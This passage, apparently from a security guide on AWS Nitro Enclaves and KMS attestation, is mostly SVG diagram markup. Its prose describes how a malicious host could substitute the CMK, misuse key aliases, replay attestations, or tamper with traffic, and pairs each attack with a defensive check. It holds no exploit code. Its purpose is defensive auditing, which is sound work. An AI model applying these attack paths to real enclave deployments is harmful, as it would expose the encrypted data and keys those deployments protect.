<text text-anchor="middle" x="320" y="84" fill="currentColor">(</text>
<text text-anchor="middle" x="320" y="244" fill="currentColor">m</text>
<text text-anchor="middle" x="320" y="484" fill="currentColor">P</text>
<text text-anchor="middle" x="320" y="596" fill="currentColor">t</text>
<text text-anchor="middle" x="320" y="644" fill="currentColor">{</text>
<text text-anchor="middle" x="320" y="708" fill="currentColor">(</text>
<text text-anchor="middle" x="328" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="328" y="84" fill="currentColor">c</text>
<text text-anchor="middle" x="328" y="244" fill="currentColor">e</text>
<text text-anchor="middle" x="328" y="484" fill="currentColor">3</text>
<text text-anchor="middle" x="328" y="596" fill="currentColor">(</text>
<text text-anchor="middle" x="328" y="644" fill="currentColor">d</text>
<text text-anchor="middle" x="328" y="708" fill="currentColor">d</text>
<text text-anchor="middle" x="336" y="36" fill="currentColor">D</text>
<text text-anchor="middle" x="336" y="84" fill="currentColor">m</text>
<text text-anchor="middle" x="336" y="244" fill="currentColor">n</text>
<text text-anchor="middle" x="336" y="484" fill="currentColor">)</text>
<text text-anchor="middle" x="336" y="596" fill="currentColor">c</text>
<text text-anchor="middle" x="336" y="644" fill="currentColor">k</text>
<text text-anchor="middle" x="336" y="708" fill="currentColor">k</text>
<text text-anchor="middle" x="336" y="724" fill="currentColor">P</text>
<text text-anchor="middle" x="344" y="36" fill="currentColor">a</text>
<text text-anchor="middle" x="344" y="84" fill="currentColor">k</text>
<text text-anchor="middle" x="344" y="244" fill="currentColor">t</text>
<text text-anchor="middle" x="344" y="596" fill="currentColor">m</text>
<text text-anchor="middle" x="344" y="644" fill="currentColor">2</text>
<text text-anchor="middle" x="344" y="708" fill="currentColor">2</text>
<text text-anchor="middle" x="344" y="724" fill="currentColor">2</text>
<text text-anchor="middle" x="352" y="36" fill="currentColor">t</text>
<text text-anchor="middle" x="352" y="84" fill="currentColor">,</text>
<text text-anchor="middle" x="352" y="596" fill="currentColor">k</text>
<text text-anchor="middle" x="352" y="644" fill="currentColor">/</text>
<text text-anchor="middle" x="352" y="708" fill="currentColor">/</text>
<text text-anchor="middle" x="352" y="724" fill="currentColor">/</text>
<text text-anchor="middle" x="360" y="36" fill="currentColor">a</text>
<text text-anchor="middle" x="360" y="84" fill="currentColor">d</text>
<text text-anchor="middle" x="360" y="596" fill="currentColor">_</text>
<text text-anchor="middle" x="360" y="644" fill="currentColor">d</text>
<text text-anchor="middle" x="360" y="708" fill="currentColor">d</text>
<text text-anchor="middle" x="360" y="724" fill="currentColor">P</text>
<text text-anchor="middle" x="368" y="36" fill="currentColor">K</text>
<text text-anchor="middle" x="368" y="84" fill="currentColor">k</text>
<text text-anchor="middle" x="368" y="596" fill="currentColor">i</text>
<text text-anchor="middle" x="368" y="644" fill="currentColor">k</text>
<text text-anchor="middle" x="368" y="708" fill="currentColor">k</text>
<text text-anchor="middle" x="368" y="724" fill="currentColor">3</text>
<text text-anchor="middle" x="376" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="376" y="84" fill="currentColor">,</text>
<text text-anchor="middle" x="376" y="596" fill="currentColor">d</text>
<text text-anchor="middle" x="376" y="644" fill="currentColor">3</text>
<text text-anchor="middle" x="376" y="708" fill="currentColor">3</text>
<text text-anchor="middle" x="384" y="36" fill="currentColor">y</text>
<text text-anchor="middle" x="384" y="84" fill="currentColor">E</text>
<text text-anchor="middle" x="384" y="596" fill="currentColor">,</text>
<text text-anchor="middle" x="384" y="644" fill="currentColor">}</text>
<text text-anchor="middle" x="384" y="708" fill="currentColor">,</text>
<text text-anchor="middle" x="392" y="36" fill="currentColor">(</text>
<text text-anchor="middle" x="392" y="84" fill="currentColor">C</text>
<text text-anchor="middle" x="392" y="596" fill="currentColor">E</text>
<text text-anchor="middle" x="392" y="708" fill="currentColor">C</text>
<text text-anchor="middle" x="400" y="36" fill="currentColor">c</text>
<text text-anchor="middle" x="400" y="84" fill="currentColor">1</text>
<text text-anchor="middle" x="400" y="596" fill="currentColor">2</text>
<text text-anchor="middle" x="400" y="708" fill="currentColor">2</text>
<text text-anchor="middle" x="408" y="36" fill="currentColor">m</text>
<text text-anchor="middle" x="408" y="84" fill="currentColor">)</text>
<text text-anchor="middle" x="408" y="596" fill="currentColor">/</text>
<text text-anchor="middle" x="408" y="708" fill="currentColor">)</text>
<text text-anchor="middle" x="416" y="36" fill="currentColor">k</text>
<text text-anchor="middle" x="416" y="84" fill="currentColor">,</text>
<text text-anchor="middle" x="416" y="596" fill="currentColor">E</text>
<text text-anchor="middle" x="424" y="36" fill="currentColor">_</text>
<text text-anchor="middle" x="424" y="84" fill="currentColor">d</text>
<text text-anchor="middle" x="424" y="596" fill="currentColor">3</text>
<text text-anchor="middle" x="432" y="36" fill="currentColor">i</text>
<text text-anchor="middle" x="432" y="84" fill="currentColor">k</text>
<text text-anchor="middle" x="432" y="596" fill="currentColor">,</text>
<text text-anchor="middle" x="440" y="36" fill="currentColor">d</text>
<text text-anchor="middle" x="440" y="84" fill="currentColor">}</text>
<text text-anchor="middle" x="440" y="596" fill="currentColor">E</text>
<text text-anchor="middle" x="448" y="36" fill="currentColor">,</text>
<text text-anchor="middle" x="448" y="596" fill="currentColor">C</text>
<text text-anchor="middle" x="456" y="36" fill="currentColor">E</text>
<text text-anchor="middle" x="456" y="596" fill="currentColor">1</text>
<text text-anchor="middle" x="464" y="36" fill="currentColor">C</text>
<text text-anchor="middle" x="464" y="596" fill="currentColor">)</text>
<text text-anchor="middle" x="472" y="36" fill="currentColor">1</text>
<text text-anchor="middle" x="480" y="36" fill="currentColor">)</text>
<text text-anchor="middle" x="488" y="4" fill="currentColor">K</text>
<text text-anchor="middle" x="496" y="4" fill="currentColor">M</text>
<text text-anchor="middle" x="504" y="4" fill="currentColor">S</text>
</g>

 </svg>
 
</div>
<figcaption><span>Figure 6: Lack of key commitment may allow an attacker to select plaintext by providing a different encryption key (E2/E3) dynamically, if ciphertext (C2) must be pre-selected.</span></figcaption></figure>
<p>The next class of attacks is when the host can select CMK that enclave uses. The exact nature of the
attack depends on specific degrees of freedom, but in the worst case, the host can force the use of
a completely unprotected CMK.</p>
<p>To protect against these attacks, the enclave must ensure the expected CMK is used; this can be done
by hardcoding full ARN, so it is attested. Then the attested ARN must be provided as the optional
<a href="https://docs.aws.amazon.com/kms/latest/APIReference/API_Decrypt.html#API_Decrypt_RequestSyntax"><code>keyId</code></a>
parameter in <code>Decrypt</code> requests, and validated against <code>keyId</code> from KMS responses. Note that the
<code>keyId</code> param is optional, because <code>CiphertextBlob</code> includes a reference to the CMK as metadata
(<code>HBKID</code> in Appendix A): the metadata is not cryptographically protected, and the attacker may be
able to manipulate it.</p>

<figure>
<div class="goat svg-container ">
 
 <svg xmlns="http://www.w3.org/2000/svg" font-family="Menlo,Lucida Console,monospace" viewbox="0 0 512 569">
 <g transform="translate(8,16)">
<path d="M 0,32 L 48,32" fill="none" stroke="currentColor"></path>
<path d="M 48,32 L 104,32" fill="none" stroke="currentColor"></path>
<path d="M 312,32 L 480,32" fill="none" stroke="currentColor"></path>
<path d="M 480,32 L 496,32" fill="none" stroke="currentColor"></path>
<path d="M 56,80 L 64,80" fill="none" stroke="currentColor"></path>
<path d="M 80,80 L 88,80" fill="none" stroke="currentColor"></path>
<path d="M 96,80 L 104,80" fill="none" stroke="currentColor"></path>
<path d="M 112,80 L 120,80" fill="none" stroke="currentColor"></path>
<path d="M 128,80 L 136,80" fill="none" stroke="currentColor"></path>
<path d="M 144,80 L 152,80" fill="none" stroke="currentColor"></path>
<path d="M 160,80 L 168,80" fill="none" stroke="currentColor"></path>
<path d="M 176,80 L 184,80" fill="none" stroke="currentColor"></path>
<path d="M 192,80 L 200,80" fill="none" stroke="currentColor"></path>
<path d="M 208,80 L 216,80" fill="none" stroke="currentColor"></path>
<path d="M 224,80 L 232,80" fill="none" stroke="currentColor"></path>
<path d="M 240,80 L 248,80" fill="none" stroke="currentColor"></path>
<path d="M 56,128 L 64,128" fill="none" stroke="currentColor"></path>
<path d="M 72,128 L 80,128" fill="none" stroke="currentColor"></path>
<path d="M 88,128 L 96,128" fill="none" stroke="currentColor"></path>
<path d="M 104,128 L 112,128" fill="none" stroke="currentColor"></path>
<path d="M 120,128 L 128,128" fill="none" stroke="currentColor"></path>
<path d="M 136,128 L 144,128" fill="none" stroke="currentColor"></path>
<path d="M 152,128 L 160,128" fill="none" stroke="currentColor"></path>
<path d="M 168,128 L 176,128" fill="none" stroke="currentColor"></path>
<path d="M 184,128 L 192,128" fill="none" stroke="currentColor"></path>
<path d="M 200,128 L 208,128" fill="none" stroke="currentColor"></path>
<path d="M 216,128 L 224,128" fill="none" stroke="currentColor"></path>
<path d="M 232,128 L 248,128" fill="none" stroke="currentColor"></path>
<path d="M 256,176 L 472,176" fill="none" stroke="currentColor"></path>
<path d="M 264,224 L 272,224" fill="none" stroke="currentColor"></path>
<path d="M 288,224 L 296,224" fill="none" stroke="currentColor"></path>
<path d="M 304,224 L 312,224" fill="none" stroke="currentColor"></path>
<path d="M 320,224 L 328,224" fill="none" stroke="currentColor"></path>
<path d="M 336,224 L 344,224" fill="none" stroke="currentColor"></path>
<path d="M 352,224 L 360,224" fill="none" stroke="currentColor"></path>
<path d="M 368,224 L 376,224" fill="none" stroke="currentColor"></path>
<path d="M 384,224 L 392,224" fill="none" stroke="currentColor"></path>
<path d="M 400,224 L 408,224" fill="none" stroke="currentColor"></path>
<path d="M 416,224 L 424,224" fill="none" stroke="currentColor"></path>
<path d="M 432,224 L 440,224" fill="none" stroke="currentColor"></path>
<path d="M 448,224 L 456,224" fill="none" stroke="currentColor"></path>
<path d="M 464,224 L 472,224" fill="none" stroke="currentColor"></path>
<path d="M 256,256 L 280,256" fill="none" stroke="currentColor"></path>
<path d="M 264,288 L 280,288" fill="none" stroke="currentColor"></path>
<path d="M 56,336 L 256,336" fill="none" stroke="currentColor"></path>
<path d="M 48,384 L 256,384" fill="none" stroke="currentColor"></path>
<path d="M 256,384 L 472,384" fill="none" stroke="currentColor"></path>
<path d="M 56,432 L 64,432" fill="none" stroke="currentColor"></path>
<path d="M 80,432 L 88,432" fill="none" stroke="currentColor"></path>
<path d="M 96,432 L 104,432" fill="none" stroke="currentColor"></path>
<path d="M 112,432 L 120,432" fill="none" stroke="currentColor"></path>
<path d="M 128,432 L 136,432" fill="none" stroke="currentColor"></path>
<path d="M 144,432 L 152,432" fill="none" stroke="currentColor"></path>
<path d="M 160,432 L 168,432" fill="none" stroke="currentColor"></path>
<path d="M 176,432 L 184,432" fill="none" stroke="currentColor"></path>
<path d="M 192,432 L 200,432" fill="none" stroke="currentColor"></path>
<path d="M 208,432 L 216,432" fill="none" stroke="currentColor"></path>
<path d="M 224,432 L 232,432" fill="none" stroke="currentColor"></path>
<path d="M 240,432 L 248,432" fill="none" stroke="currentColor"></path>
<path d="M 272,432 L 280,432" fill="none" stroke="currentColor"></path>
<path d="M 288,432 L 296,432" fill="none" stroke="currentColor"></path>
<path d="M 304,432 L 312,432" fill="none" stroke="currentColor"></path>
<path d="M 320,432 L 328,432" fill="none" stroke="currentColor"></path>
<path d="M 336,432 L 344,432" fill="none" stroke="currentColor"></path>
<path d="M 352,432 L 360,432" fill="none" stroke="currentColor"></path>
<path d="M 368,432 L 376,432" fill="none" stroke="currentColor"></path>
<path d="M 384,432 L 392,432" fill="none" stroke="currentColor"></path>
<path d="M 400,432 L 408,432" fill="none" stroke="currentColor"></path>
<path d="M 416,432 L 424,432" fill="none" stroke="currentColor"></path>
<path d="M 432,432 L 440,432" fill="none" stroke="currentColor"></path>
<path d="M 448,432 L 456,432" fill="none" stroke="currentColor"></path>
<path d="M 464,432 L 472,432" fill="none" stroke="currentColor"></path>
<path d="M 48,464 L 72,464" fill="none" stroke="currentColor"></path>
<path d="M 168,480 L 176,480" fill="none" stroke="currentColor"></path>
<path d="M 56,496 L 72,496" fill="none" stroke="currentColor"></path>
<path d="M 0,528 L 48,528" fill="none" stroke="currentColor"></path>
<path d="M 48,528 L 256,528" fill="none" stroke="currentColor"></path>
<path d="M 256,528 L 480,528" fill="none" stroke="currentColor"></path>
<path d="M 480,528 L 496,528" fill="none" stroke="currentColor"></path>
<path d="M 0,32 L 0,528" fill="none" stroke="currentColor"></path>
<path d="M 48,16 L 48,32" fill="none" stroke="currentColor"></path>
<path d="M 48,32 L 48,384" fill="none" stroke="currentColor"></path>
<path d="M 48,384 L 48,464" fill="none" stroke="currentColor"></path>
<path d="M 48,464 L 48,528" fill="none" stroke="currentColor"></path>
<path d="M 48,528 L 48,544" fill="none" stroke="currentColor"></path>
<path d="M 72,464 L 72,496" fill="none" stroke="currentColor"></path>
<path d="M 256,8 L 256,24" fill="none" stroke="currentColor"></path>
<path d="M 256,48 L 256,80" fill="none" stroke="currentColor"></path>
<path d="M 256,80 L 256,176" fill="none" stroke="currentColor"></path>
<path d="M 256,176 L 256,256" fill="none" stroke="currentColor"></path>
<path d="M 256,256 L 256,336" fill="none" stroke="currentColor"></path>
<path d="M 256,336 L 256,384" fill="none" stroke="currentColor"></path>
<path d="M 256,384 L 256,432" fill="none" stroke="currentColor"></path>
<path d="M 256,432 L 256,528" fill="none" stroke="currentColor"></path>
<path d="M 256,528 L 256,544" fill="none" stroke="currentColor"></path>
<path d="M 280,256 L 280,288" fill="none" stroke="currentColor"></path>
<path d="M 480,16 L 480,32" fill="none" stroke="currentColor"></path>
<path d="M 480,32 L 480,528" fill="none" stroke="currentColor"></path>
<path d="M 480,528 L 480,544" fill="none" stroke="currentColor"></path>
<path d="M 496,32 L 496,528" fill="none" stroke="currentColor"></path>
<polygon points="64.000000,80.000000 52.000000,74.400002 52.000000,85.599998" fill="currentColor" transform="rotate(180.000000, 56.000000, 80.000000)"></polygon>
<polygon points="64.000000,336.000000 52.000000,330.399994 52.000000,341.600006" fill="currentColor" transform="rotate(180.000000, 56.000000, 336.000000)"></polygon>
<polygon points="64.000000,432.000000 52.000000,426.399994 52.000000,437.600006" fill="currentColor" transform="rotate(180.000000, 56.000000, 432.000000)"></polygon>
<polygon points="64.000000,496.000000 52.000000,490.399994 52.000000,501.600006" fill="currentColor" transform="rotate(180.000000, 56.000000, 496.000000)"></polygon>
<polygon points="184.000000,480.000000 172.000000,474.399994 172.000000,485.600006" fill="currentColor" transform="rotate(0.000000, 176.000000, 480.000000)"></polygon>
<polygon points="256.000000,128.000000 244.000000,122.400002 244.000000,133.600006" fill="currentColor" transform="rotate(0.000000, 248.000000, 128.000000)"></polygon>
<polygon points="272.000000,224.000000 260.000000,218.399994 260.000000,229.600006" fill="currentColor" transform="rotate(180.000000, 264.000000, 224.000000)"></polygon>
<polygon points="272.000000,288.000000 260.000000,282.399994 260.000000,293.600006" fill="currentColor" transform="rotate(180.000000, 264.000000, 288.000000)"></polygon>
<polygon points="480.000000,176.000000 468.000000,170.399994 468.000000,181.600006" fill="currentColor" transform="rotate(0.000000, 472.000000, 176.000000)"></polygon>
<polygon points="480.000000,384.000000 468.000000,378.399994 468.000000,389.600006" fill="currentColor" transform="rotate(0.000000, 472.000000, 384.000000)"></polygon>
<text text-anchor="middle" x="16" y="4" fill="currentColor">A</text>
<text text-anchor="middle" x="24" y="4" fill="currentColor">t</text>
<text text-anchor="middle" x="32" y="4" fill="currentColor">t</text>
<text text-anchor="middle" x="40" y="4" fill="currentColor">a</text>
<text text-anchor="middle" x="48" y="4" fill="currentColor">c</text>
<text text-anchor="middle" x="56" y="4" fill="currentColor">k</text>
<text text-anchor="middle" x="64" y="4" fill="currentColor">e</text>
<text text-anchor="middle" x="64" y="372" fill="currentColor">D</text>
<text text-anchor="middle" x="72" y="4" fill="currentColor">r</text>
<text text-anchor="middle" x="72" y="68" fill="currentColor">c</text>
<text text-anchor="middle" x="72" y="116" fill="currentColor">c</text>
<text text-anchor="middle" x="72" y="372" fill="currentColor">e</text>
<text text-anchor="middle" x="80" y="68" fill="currentColor">m</text>
<text text-anchor="middle" x="80" y="116" fill="currentColor">m</text>
<text text-anchor="middle" x="80" y="372" fill="currentColor">c</text>
<text text-anchor="middle" x="88" y="68" fill="currentColor">k</text>
<text text-anchor="middle" x="88" y="116" fill="currentColor">k</text>
<text text-anchor="middle" x="88" y="324" fill="currentColor">s</text>
<text text-anchor="middle" x="88" y="372" fill="currentColor">r</text>
<text text-anchor="middle" x="88" y="484" fill="currentColor">d</text>
<text text-anchor="middle" x="96" y="68" fill="currentColor">_</text>
<text text-anchor="middle" x="96" y="116" fill="currentColor">_</text>
<text text-anchor="middle" x="96" y="324" fill="currentColor">t</text>
<text text-anchor="middle" x="96" y="372" fill="currentColor">y</text>
<text text-anchor="middle" x="96" y="484" fill="currentColor">e</text>
<text text-anchor="middle" x="104" y="68" fill="currentColor">i</text>
<text text-anchor="middle" x="104" y="116" fill="currentColor">i</text>
<text text-anchor="middle" x="104" y="324" fill="currentColor">o</text>
<text text-anchor="middle" x="104" y="372" fill="currentColor">p</text>
<text text-anchor="middle" x="104" y="484" fill="currentColor">c</text>
<text text-anchor="middle" x="112" y="68" fill="currentColor">d</text>
<text text-anchor="middle" x="112" y="116" fill="currentColor">d</text>
<text text-anchor="middle" x="112" y="324" fill="currentColor">r</text>
<text text-anchor="middle" x="112" y="372" fill="currentColor">t</text>
<text text-anchor="middle" x="112" y="484" fill="currentColor">(</text>
<text text-anchor="middle" x="120" y="36" fill="currentColor">C</text>
<text text-anchor="middle" x="120" y="68" fill="currentColor">?</text>
<text text-anchor="middle" x="120" y="116" fill="currentColor">2</text>
<text text-anchor="middle" x="120" y="324" fill="currentColor">e</text>
<text text-anchor="middle" x="120" y="372" fill="currentColor">(</text>
<text text-anchor="middle" x="120" y="484" fill="currentColor">d</text>
<text text-anchor="middle" x="128" y="36" fill="currentColor">M</text>
<text text-anchor="middle" x="128" y="324" fill="currentColor">(</text>
<text text-anchor="middle" x="128" y="372" fill="currentColor">c</text>
<text text-anchor="middle" x="128" y="484" fill="currentColor">k</text>
<text text-anchor="middle" x="136" y="36" fill="currentColor">K</text>
<text text-anchor="middle" x="136" y="324" fill="currentColor">E</text>
<text text-anchor="middle" x="136" y="372" fill="currentColor">m</text>
<text text-anchor="middle" x="136" y="420" fill="currentColor">{</text>
<text text-anchor="middle" x="136" y="484" fill="currentColor">,</text>
<text text-anchor="middle" x="144" y="324" fill="currentColor">,</text>
<text text-anchor="middle" x="144" y="372" fill="currentColor">k</text>
<text text-anchor="middle" x="144" y="420" fill="currentColor">d</text>
<text text-anchor="middle" x="144" y="484" fill="currentColor">C</text>
<text text-anchor="middle" x="152" y="36" fill="currentColor">s</text>
<text text-anchor="middle" x="152" y="324" fill="currentColor">C</text>
<text text-anchor="middle" x="152" y="372" fill="currentColor">_</text>
<text text-anchor="middle" x="152" y="420" fill="currentColor">k</text>
<text text-anchor="middle" x="152" y="484" fill="currentColor">)</text>
<text text-anchor="middle" x="160" y="36" fill="currentColor">u</text>
<text text-anchor="middle" x="160" y="324" fill="currentColor">)</text>
<text text-anchor="middle" x="160" y="372" fill="currentColor">i</text>
<text text-anchor="middle" x="160" y="420" fill="currentColor">}</text>
<text text-anchor="middle" x="168" y="36" fill="currentColor">b</text>
<text text-anchor="middle" x="168" y="372" fill="currentColor">d</text>
<text text-anchor="middle" x="176" y="36" fill="currentColor">s</text>
<text text-anchor="middle" x="176" y="372" fill="currentColor">2</text>
<text text-anchor="middle" x="184" y="36" fill="currentColor">t</text>
<text text-anchor="middle" x="184" y="372" fill="currentColor">,</text>
<text text-anchor="middle" x="192" y="36" fill="currentColor">i</text>
<text text-anchor="middle" x="192" y="372" fill="currentColor">E</text>
<text text-anchor="middle" x="192" y="484" fill="currentColor">P</text>
<text text-anchor="middle" x="200" y="36" fill="currentColor">t</text>
<text text-anchor="middle" x="200" y="372" fill="currentColor">)</text>
<text text-anchor="middle" x="208" y="36" fill="currentColor">u</text>
<text text-anchor="middle" x="216" y="36" fill="currentColor">t</text>
<text text-anchor="middle" x="224" y="4" fill="currentColor">E</text>
<text text-anchor="middle" x="224" y="36" fill="currentColor">i</text>
<text text-anchor="middle" x="232" y="4" fill="currentColor">n</text>
<text text-anchor="middle" x="232" y="36" fill="currentColor">o</text>
<text text-anchor="middle" x="240" y="4" fill="currentColor">c</text>
<text text-anchor="middle" x="240" y="36" fill="currentColor">n</text>
<text text-anchor="middle" x="248" y="4" fill="currentColor">l</text>
<text text-anchor="middle" x="256" y="4" fill="currentColor">a</text>
<text text-anchor="middle" x="256" y="36" fill="currentColor">a</text>
<text text-anchor="middle" x="264" y="4" fill="currentColor">v</text>
<text text-anchor="middle" x="264" y="36" fill="currentColor">t</text>
<text text-anchor="middle" x="272" y="4" fill="currentColor">e</text>
<text text-anchor="middle" x="272" y="36" fill="currentColor">t</text>
<text text-anchor="middle" x="272" y="164" fill="currentColor">G</text>
<text text-anchor="middle" x="280" y="36" fill="currentColor">a</text>
<text text-anchor="middle" x="280" y="164" fill="currentColor">e</text>
<text text-anchor="middle" x="280" y="212" fill="currentColor">{</text>
<text text-anchor="middle" x="288" y="36" fill="currentColor">c</text>
<text text-anchor="middle" x="288" y="164" fill="currentColor">n</text>
<text text-anchor="middle" x="288" y="212" fill="currentColor">E</text>
<text text-anchor="middle" x="296" y="36" fill="currentColor">k</text>
<text text-anchor="middle" x="296" y="164" fill="currentColor">e</text>
<text text-anchor="middle" x="296" y="212" fill="currentColor">=</text>
<text text-anchor="middle" x="296" y="276" fill="currentColor">C</text>
<text text-anchor="middle" x="304" y="164" fill="currentColor">r</text>
<text text-anchor="middle" x="304" y="212" fill="currentColor">e</text>
<text text-anchor="middle" x="304" y="276" fill="currentColor">=</text>
<text text-anchor="middle" x="312" y="164" fill="currentColor">a</text>
<text text-anchor="middle" x="312" y="212" fill="currentColor">n</text>
<text text-anchor="middle" x="312" y="276" fill="currentColor">e</text>
<text text-anchor="middle" x="320" y="164" fill="currentColor">t</text>
<text text-anchor="middle" x="320" y="212" fill="currentColor">c</text>
<text text-anchor="middle" x="320" y="276" fill="currentColor">n</text>
<text text-anchor="middle" x="328" y="164" fill="currentColor">e</text>
<text text-anchor="middle" x="328" y="212" fill="currentColor">(</text>
<text text-anchor="middle" x="328" y="276" fill="currentColor">c</text>
<text text-anchor="middle" x="336" y="164" fill="currentColor">D</text>
<text text-anchor="middle" x="336" y="212" fill="currentColor">c</text>
<text text-anchor="middle" x="336" y="276" fill="currentColor">(</text>
<text text-anchor="middle" x="344" y="164" fill="currentColor">a</text>
<text text-anchor="middle" x="344" y="212" fill="currentColor">m</text>
<text text-anchor="middle" x="344" y="276" fill="currentColor">d</text>
<text text-anchor="middle" x="352" y="164" fill="currentColor">t</text>
<text text-anchor="middle" x="352" y="212" fill="currentColor">k</text>
<text text-anchor="middle" x="352" y="276" fill="currentColor">k</text>
<text text-anchor="middle" x="360" y="164" fill="currentColor">a</text>
<text text-anchor="middle" x="360" y="212" fill="currentColor">2</text>
<text text-anchor="middle" x="360" y="276" fill="currentColor">,</text>
<text text-anchor="middle" x="368" y="164" fill="currentColor">K</text>
<text text-anchor="middle" x="368" y="212" fill="currentColor">,</text>
<text text-anchor="middle" x="368" y="276" fill="currentColor">P</text>
<text text-anchor="middle" x="376" y="164" fill="currentColor">e</text>
<text text-anchor="middle" x="376" y="212" fill="currentColor">d</text>
<text text-anchor="middle" x="376" y="276" fill="currentColor">)</text>
<text text-anchor="middle" x="384" y="164" fill="currentColor">y</text>
<text text-anchor="middle" x="384" y="212" fill="currentColor">k</text>
<text text-anchor="middle" x="392" y="164" fill="currentColor">(</text>
<text text-anchor="middle" x="392" y="212" fill="currentColor">)</text>
<text text-anchor="middle" x="400" y="164" fill="currentColor">c</text>
<text text-anchor="middle" x="400" y="212" fill="currentColor">,</text>
<text text-anchor="middle" x="408" y="164" fill="currentColor">m</text>
<text text-anchor="middle" x="408" y="212" fill="currentColor">d</text>
<text text-anchor="middle" x="416" y="164" fill="currentColor">k</text>
<text text-anchor="middle" x="416" y="212" fill="currentColor">k</text>
<text text-anchor="middle" x="424" y="164" fill="currentColor">_</text>
<text text-anchor="middle" x="424" y="212" fill="currentColor">}</text>
<text text-anchor="middle" x="432" y="164" fill="currentColor">i</text>
<text text-anchor="middle" x="440" y="164" fill="currentColor">d</text>
<text text-anchor="middle" x="448" y="164" fill="currentColor">2</text>
<text text-anchor="middle" x="456" y="164" fill="currentColor">)</text>
<text text-anchor="middle" x="464" y="4" fill="currentColor">K</text>
<text text-anchor="middle" x="472" y="4" fill="currentColor">M</text>
<text text-anchor="middle" x="480" y="4" fill="currentColor">S</text>
</g>

 </svg>
 
</div>
<figcaption><span>Figure 7: CMK substitution attack.</span></figcaption></figure>
<p>Using key aliases instead of ARNs is possible but risky, as the aliases are more ambiguous.
Specifically, an attacker can manipulate the enclave’s IAM credentials to trick the enclave into
using the wrong CMK. That’s why we recommend attesting the IAM role that the enclave must use and
validating that role against IAM credentials provided at runtime. Enclave can do this by calling
<code>sts:GetCallerIdentity</code>.</p>
<p>Replay attacks are an interesting attack vector. Attestations include timestamps that KMS validates
to be at most five minutes old. While this means old documents cannot be replayed, there is still a
time window when a malicious host can observe a document and use it multiple times. As attestations
are not cryptographically bound to the requests, the attacker can use the attestation with any
supported operation with arbitrary params. Although the responses are encrypted with the
attestation’s public key and cannot be decrypted by the attacker, this gives the attacker some
abilities that must be considered during an audit. For example, an attacker can request multiple
decryption with different CMK keys and later use the KMS responses to confuse the state machine of
the enclave. Note that the <code>user_data</code> and <code>nonce</code> fields from attestation documents are not used by
KMS at all.</p>
<p>Even when an attacker cannot observe exact traffic exchanged with KMS, the attacker can note times,
orders, and sizes of communication. This may be used to deduce some information, depending on the
specific protocol your enclaves implement.</p>
<p>Finally, requests and responses to KMS include many key specifications and algorithm identifiers
(CMK <code>KeySpec</code>, attestation’s <code>KeyEncryptionAlgorithm</code>, <code>Decryption</code> operation’s
<code>EncryptionAlgorithm</code>, for example). Ideally these must not be attacker-controlled in requests (e.g.
are bundled in EIF) and the identifiers from responses are checked against the expected ones by the
enclave.</p>
<h2>Active attack prevention</h2>
<p>As a reminder, active attackers can additionally modify all traffic coming in and out of the
enclave. This tl;dr checklist helps avoid active attacks:</p>
<ul>
<li> Active attacks are prevented with enclave-initiated TLS.</li>
<li> TLS CA is bundled inside the enclave (attested).</li>
<li> VPC is used.</li>
</ul>
<p>Many problems may arise when active attacks are in scope. Most importantly, the attestation and its
pubkey are not bound to other parts of the request. This allows the attacker to change the CMK ID in
requests and responses (even if the ID is bundled in EIF); to encrypt any data key under the
attestation pubkey and use it for replays; or to attack not-authenticated AES-CBC encryption in
<code>CiphertextForRecipient</code> responses.</p>
<figure>
 <div class="tabs">

<label class="tabs__label" for="tabs-7-0">CMK substitution</label>
<div class="tabs__panel">

<div class="goat svg-container ">
 
 <svg xmlns="http://www.w3.org/2000/svg" font-family="Menlo,Lucida Console,monospace" viewbox="0 0 536 489">
 <g transform="translate(8,16)">
<path d="M 48,64 L 248,64" fill="none" stroke="currentColor"></path>
<path d="M 0,96 L 48,96" fill="none" stroke="currentColor"></path>
<path d="M 48,96 L 80,96" fill="none" stroke="currentColor"></path>
<path d="M 232,96 L 504,96" fill="none" stroke="currentColor"></path>
<path d="M 504,96 L 520,96" fill="none" stroke="currentColor"></path>
<path d="M 256,144 L 496,144" fill="none" stroke="currentColor"></path>
<path d="M 264,208 L 272,208" fill="none" stroke="currentColor"></path>
<path d="M 288,208 L 296,208" fill="none" stroke="currentColor"></path>
<path d="M 304,208 L 312,208" fill="none" stroke="currentColor"></path>
<path d="M 320,208 L 328,208" fill="none" stroke="currentColor"></path>
<path d="M 336,208 L 344,208" fill="none" stroke="currentColor"></path>
<path d="M 352,208 L 360,208" fill="none" stroke="currentColor"></path>
<path d="M 368,208 L 376,208" fill="none" stroke="currentColor"></path>
<path d="M 384,208 L 392,208" fill="none" stroke="currentColor"></path>
<path d="M 400,208 L 408,208" fill="none" stroke="currentColor"></path>
<path d="M 416,208 L 424,208" fill="none" stroke="currentColor"></path>
<path d="M 432,208 L 440,208" fill="none" stroke="currentColor"></path>
<path d="M 448,208 L 456,208" fill="none" stroke="currentColor"></path>
<path d="M 464,208 L 472,208" fill="none" stroke="currentColor"></path>
<path d="M 480,208 L 488,208" fill="none" stroke="currentColor"></path>
<path d="M 496,208 L 504,208" fill="none" stroke="currentColor"></path>
<path d="M 56,256 L 64,256" fill="none" stroke="currentColor"></path>
<path d="M 80,256 L 88,256" fill="none" stroke="currentColor"></path>
<path d="M 96,256 L 104,256" fill="none" stroke="currentColor"></path>
<path d="M 112,256 L 120,256" fill="none" stroke="currentColor"></path>
<path d="M 128,256 L 136,256" fill="none" stroke="currentColor"></path>
<path d="M 144,256 L 152,256" fill="none" stroke="currentColor"></path>
<path d="M 160,256 L 168,256" fill="none" stroke="currentColor"></path>
<path d="M 176,256 L 184,256" fill="none" stroke="currentColor"></path>
<path d="M 192,256 L 200,256" fill="none" stroke="currentColor"></path>
<path d="M 208,256 L 216,256" fill="none" stroke="currentColor"></path>
<path d="M 224,256 L 232,256" fill="none" stroke="currentColor"></path>
<path d="M 240,256 L 248,256" fill="none" stroke="currentColor"></path>
<path d="M 48,288 L 72,288" fill="none" stroke="currentColor"></path>
<path d="M 104,320 L 112,320" fill="none" stroke="currentColor"></path>
<path d="M 56,336 L 72,336" fill="none" stroke="currentColor"></path>
<path d="M 256,384 L 496,384" fill="none" stroke="currentColor"></path>
<path d="M 264,432 L 272,432" fill="none" stroke="currentColor"></path>
<path d="M 288,432 L 296,432" fill="none" stroke="currentColor"></path>
<path d="M 304,432 L 312,432" fill="none" stroke="currentColor"></path>
<path d="M 320,432 L 328,432" fill="none" stroke="currentColor"></path>
<path d="M 336,432 L 344,432" fill="none" stroke="currentColor"></path>
